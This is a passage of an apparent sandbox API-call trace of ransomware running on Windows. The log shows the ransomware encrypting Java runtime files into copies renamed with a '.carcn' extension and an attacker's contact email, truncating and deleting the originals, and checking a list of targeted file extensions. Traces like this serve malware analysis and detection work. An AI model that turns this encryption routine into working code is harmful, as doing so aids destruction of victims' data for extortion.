dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0264.116] GetLastError () returned 0x0 [0264.116] ReadFile (in: hFile=0x538, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x12574, lpOverlapped=0x0) returned 1 [0264.177] WriteFile (in: hFile=0x548, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x12580, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x12580, lpOverlapped=0x0) returned 1 [0264.650] ReadFile (in: hFile=0x538, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0264.650] WriteFile (in: hFile=0x548, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x108, lpOverlapped=0x0) returned 1 [0264.650] SetEndOfFile (hFile=0x548) returned 1 [0264.650] CloseHandle (hObject=0x548) returned 1 [0264.653] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.653] SetEndOfFile (hFile=0x538) returned 1 [0264.825] CloseHandle (hObject=0x538) returned 1 [0264.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0264.848] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 1 [0265.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0265.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0265.207] lstrlenW (lpString=".doc") returned 4 [0265.207] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0265.207] lstrlenW (lpString=".docx") returned 5 [0265.207] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0265.207] lstrlenW (lpString=".pdf") returned 4 [0265.207] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0265.207] lstrlenW (lpString=".xls") returned 4 [0265.207] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0265.207] lstrlenW (lpString=".xlsx") returned 5 [0265.207] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0265.207] lstrlenW (lpString=".ppt") returned 4 [0265.207] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0265.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0265.207] lstrlenW (lpString=".zip") returned 4 [0265.207] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0265.207] lstrlenW (lpString=".rar") returned 4 [0265.207] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0265.207] lstrlenW (lpString=".bz2") returned 4 [0265.207] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0265.207] lstrlenW (lpString=".7z") returned 3 [0265.207] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0265.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0265.207] lstrlenW (lpString=".dbf") returned 4 [0265.207] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0265.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0265.208] lstrlenW (lpString=".1cd") returned 4 [0265.208] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0265.208] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0265.208] lstrlenW (lpString=".jpg") returned 4 [0265.208] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0265.208] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0265.208] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0265.208] lstrlenW (lpString=".doc") returned 4 [0265.208] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0265.208] lstrlenW (lpString=".docx") returned 5 [0265.208] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0265.208] lstrlenW (lpString=".pdf") returned 4 [0265.208] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0265.208] lstrlenW (lpString=".xls") returned 4 [0265.208] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0265.208] lstrlenW (lpString=".xlsx") returned 5 [0265.208] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0265.208] lstrlenW (lpString=".ppt") returned 4 [0265.208] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0265.208] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0265.208] lstrlenW (lpString=".zip") returned 4 [0265.208] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0265.208] lstrlenW (lpString=".rar") returned 4 [0265.209] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0265.209] lstrlenW (lpString=".bz2") returned 4 [0265.209] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0265.209] lstrlenW (lpString=".7z") returned 3 [0265.209] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0265.209] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0265.209] lstrlenW (lpString=".dbf") returned 4 [0265.209] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0265.209] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0265.209] lstrlenW (lpString=".1cd") returned 4 [0265.209] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0265.209] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0265.209] lstrlenW (lpString=".jpg") returned 4 [0265.209] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0265.209] lstrcmpiW (lpString1=".ttf", lpString2=".carcn") returned 1 [0265.209] lstrlenW (lpString="LucidaTypewriterRegular.ttf") returned 27 [0265.209] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0265.210] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=242700) returned 1 [0265.210] CloseHandle (hObject=0x530) returned 1 [0265.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 0x20 [0265.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0265.211] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0265.211] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.211] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.211] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0265.212] GetLastError () returned 0x0 [0265.212] ReadFile (in: hFile=0x530, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x3b40c, lpOverlapped=0x0) returned 1 [0265.317] WriteFile (in: hFile=0x554, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x3b410, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x3b410, lpOverlapped=0x0) returned 1 [0265.492] ReadFile (in: hFile=0x530, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0265.492] WriteFile (in: hFile=0x554, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x10a, lpOverlapped=0x0) returned 1 [0265.492] SetEndOfFile (hFile=0x554) returned 1 [0265.492] CloseHandle (hObject=0x554) returned 1 [0265.497] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.497] SetEndOfFile (hFile=0x530) returned 1 [0265.502] CloseHandle (hObject=0x530) returned 1 [0265.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0265.528] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 1 [0265.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0265.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0265.529] lstrlenW (lpString=".doc") returned 4 [0265.529] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0265.529] lstrlenW (lpString=".docx") returned 5 [0265.529] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0265.529] lstrlenW (lpString=".pdf") returned 4 [0265.529] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0265.529] lstrlenW (lpString=".xls") returned 4 [0265.529] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0265.529] lstrlenW (lpString=".xlsx") returned 5 [0265.529] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0265.529] lstrlenW (lpString=".ppt") returned 4 [0265.529] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0265.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0265.529] lstrlenW (lpString=".zip") returned 4 [0265.529] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0265.529] lstrlenW (lpString=".rar") returned 4 [0265.530] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0265.530] lstrlenW (lpString=".bz2") returned 4 [0265.530] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0265.530] lstrlenW (lpString=".7z") returned 3 [0265.530] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0265.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0265.530] lstrlenW (lpString=".dbf") returned 4 [0265.530] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0265.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0265.530] lstrlenW (lpString=".1cd") returned 4 [0265.530] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0265.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0265.530] lstrlenW (lpString=".jpg") returned 4 [0265.530] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0265.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0265.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0265.530] lstrlenW (lpString=".doc") returned 4 [0265.530] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0265.530] lstrlenW (lpString=".docx") returned 5 [0265.530] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0265.530] lstrlenW (lpString=".pdf") returned 4 [0265.530] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0265.530] lstrlenW (lpString=".xls") returned 4 [0265.530] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0265.530] lstrlenW (lpString=".xlsx") returned 5 [0265.531] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0265.531] lstrlenW (lpString=".ppt") returned 4 [0265.531] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0265.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0265.531] lstrlenW (lpString=".zip") returned 4 [0265.531] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0265.531] lstrlenW (lpString=".rar") returned 4 [0265.531] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0265.531] lstrlenW (lpString=".bz2") returned 4 [0265.531] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0265.531] lstrlenW (lpString=".7z") returned 3 [0265.531] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0265.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0265.531] lstrlenW (lpString=".dbf") returned 4 [0265.531] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0265.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0265.531] lstrlenW (lpString=".1cd") returned 4 [0265.531] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0265.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0265.531] lstrlenW (lpString=".jpg") returned 4 [0265.531] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0265.531] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0265.532] lstrlenW (lpString="hijrah-config-umalqura.properties") returned 33 [0265.532] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0265.532] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=13962) returned 1 [0265.532] CloseHandle (hObject=0x530) returned 1 [0265.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 0x20 [0265.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0265.533] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0265.533] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.533] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.533] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0265.534] GetLastError () returned 0x0 [0265.534] ReadFile (in: hFile=0x530, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x368a, lpOverlapped=0x0) returned 1 [0265.583] WriteFile (in: hFile=0x554, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x3690, lpOverlapped=0x0) returned 1 [0265.584] ReadFile (in: hFile=0x530, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0265.584] WriteFile (in: hFile=0x554, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x116, lpOverlapped=0x0) returned 1 [0265.584] SetEndOfFile (hFile=0x554) returned 1 [0265.585] CloseHandle (hObject=0x554) returned 1 [0265.586] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.586] SetEndOfFile (hFile=0x530) returned 1 [0265.590] CloseHandle (hObject=0x530) returned 1 [0265.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0265.590] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 1 [0265.591] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0265.591] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0265.591] lstrlenW (lpString=".doc") returned 4 [0265.591] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0265.591] lstrlenW (lpString=".docx") returned 5 [0265.591] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0265.591] lstrlenW (lpString=".pdf") returned 4 [0265.591] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0265.591] lstrlenW (lpString=".xls") returned 4 [0265.591] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0265.591] lstrlenW (lpString=".xlsx") returned 5 [0265.591] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0265.591] lstrlenW (lpString=".ppt") returned 4 [0265.591] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0265.591] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0265.591] lstrlenW (lpString=".zip") returned 4 [0265.591] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0265.591] lstrlenW (lpString=".rar") returned 4 [0265.591] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0265.592] lstrlenW (lpString=".bz2") returned 4 [0265.592] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0265.592] lstrlenW (lpString=".7z") returned 3 [0265.592] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0265.592] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0265.592] lstrlenW (lpString=".dbf") returned 4 [0265.592] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0265.592] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0265.592] lstrlenW (lpString=".1cd") returned 4 [0265.592] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0265.592] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0265.592] lstrlenW (lpString=".jpg") returned 4 [0265.592] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0265.592] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0265.592] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0265.592] lstrlenW (lpString=".doc") returned 4 [0265.592] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0265.592] lstrlenW (lpString=".docx") returned 5 [0265.592] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0265.592] lstrlenW (lpString=".pdf") returned 4 [0265.592] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0265.592] lstrlenW (lpString=".xls") returned 4 [0265.592] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0265.592] lstrlenW (lpString=".xlsx") returned 5 [0265.592] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0265.593] lstrlenW (lpString=".ppt") returned 4 [0265.593] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0265.593] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0265.593] lstrlenW (lpString=".zip") returned 4 [0265.593] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0265.593] lstrlenW (lpString=".rar") returned 4 [0265.593] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0265.593] lstrlenW (lpString=".bz2") returned 4 [0265.593] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0265.593] lstrlenW (lpString=".7z") returned 3 [0265.593] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0265.593] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0265.593] lstrlenW (lpString=".dbf") returned 4 [0265.593] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0265.593] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0265.593] lstrlenW (lpString=".1cd") returned 4 [0265.593] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0265.593] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0265.593] lstrlenW (lpString=".jpg") returned 4 [0265.593] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0265.593] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0265.594] lstrlenW (lpString="cursors.properties") returned 18 [0265.594] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0265.596] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=1280) returned 1 [0265.596] CloseHandle (hObject=0x530) returned 1 [0265.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 0x20 [0265.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0265.596] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0265.596] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.597] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.597] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0265.605] GetLastError () returned 0x0 [0265.605] ReadFile (in: hFile=0x530, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, 